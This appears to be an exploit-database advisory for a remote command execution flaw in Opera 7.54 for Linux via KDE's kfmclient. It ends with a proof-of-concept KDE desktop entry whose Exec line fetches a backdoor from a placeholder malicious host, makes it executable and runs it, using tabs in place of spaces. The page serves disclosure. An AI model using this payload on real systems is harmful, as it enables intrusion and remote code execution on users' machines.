Remote Command Execution vulnerability in Opera for Linux

vendor:

Opera for Linux

by:

Unknown

7.5

CVSS

HIGH

Remote Command Execution

CWE

Product Name: Opera for Linux

Affected Version From: 7.54

Affected Version To: Unknown

Patch Exists: No

Related CWE:

CPE: a:opera:opera_linux:7.54

Metasploit:

Other Scripts:

Platforms Tested: Linux

Unknown

Remote Command Execution vulnerability in Opera for Linux

Opera for Linux is susceptible to a remote command execution vulnerability. This issue is due to a default configuration setting in Opera that utilizes the KDE 'kfmclient' utility to open unknown content. Exploitation of this issue allows attacker-supplied commands to be executed in the context of the user running Opera.

Mitigation:

Update to a patched version of Opera. Avoid opening unknown content.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11901/info

It is reported that Opera for Linux is susceptible to a remote command execution vulnerability. This issue is due to a default configuration setting in Opera that utilizes the KDE 'kfmclient' utility to open unknown content.

Exploitation of this issue allows attacker-supplied commands to be executed in the context of the user running Opera.

Version 7.54 of Opera for Linux with KDE version 3.2.3 is reported vulnerable to this issue. Other versions may also be affected.

# KDE Config File
[KDE Desktop Entry]
SwallowExec=
SwallowTitle=
BinaryPattern=
MimeType=
Exec=/bin/bash -c wget\thttp://malicious_site/backdoor;chmod\t777\tbackdoor;./backdoor
Icon=
TerminalOptions=
Path=
Type=Application
Terminal=0